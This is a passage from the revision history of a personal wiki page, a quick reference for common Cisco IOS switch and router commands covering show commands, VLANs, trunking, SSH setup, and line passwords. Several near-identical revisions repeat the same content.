<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1042
Cisco Commands
2026-01-15T21:50:33Z
<p>50.220.241.211: </p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1041
Cisco Commands
2026-01-14T21:36:21Z
<p>50.220.241.211: /* Configure SSH */</p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
<br />
====Configure SSH====<br />
<hr><br />
Set the domain name<br />
ip domain-name cisco.com<br />
<br />
Generate rsa keypair<br />
crypto key generate rsa<br />
<br />
Delete rsa keypair<br />
crypto key zeroize rsa<br />
<br />
Make a user account<br />
username admin secret ccna<br />
<br />
Assign a default gateway<br />
ip default-gateway 192.168.10.1<br />
<br />
Enable ssh on the VTY lines (the second command disables telnet and forces ssh)<br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
<br />
Enable SSH v2<br />
ip ssh version 2<br />
<br />
<hr><br />
<br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1040
Cisco Commands
2026-01-14T21:27:54Z
<p>50.220.241.211: /* Configure SSH */</p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
<br />
====Configure SSH====<br />
<hr><br />
Set the domain name<br />
ip domain-name cisco.com<br />
<br />
Generate rsa keypair<br />
crypto key generate rsa<br />
<br />
Delete rsa keypair<br />
crypto key zeroize rsa<br />
<br />
Make a user account<br />
username admin secret ccna<br />
<br />
Assign a default gateway<br />
ip default-gateway 192.168.10.1<br />
<br />
Enable ssh on the VTY lines<br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
<br />
Enable SSH v2<br />
ip ssh version 2<br />
<br />
<hr><br />
<br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1039
Cisco Commands
2026-01-14T21:27:28Z
<p>50.220.241.211: </p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
<br />
====Configure SSH====<br />
Set the domain name<br />
ip domain-name cisco.com<br />
<br />
Generate rsa keypair<br />
crypto key generate rsa<br />
<br />
Delete rsa keypair<br />
crypto key zeroize rsa<br />
<br />
Make a user account<br />
username admin secret ccna<br />
<br />
Assign a default gateway<br />
ip default-gateway 192.168.10.1<br />
<br />
Enable ssh on the VTY lines<br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
<br />
Enable SSH v2<br />
ip ssh version 2<br />
<br />
<hr><br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1038
Cisco Commands
2026-01-14T21:27:06Z
<p>50.220.241.211: /* Configure SSH */</p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
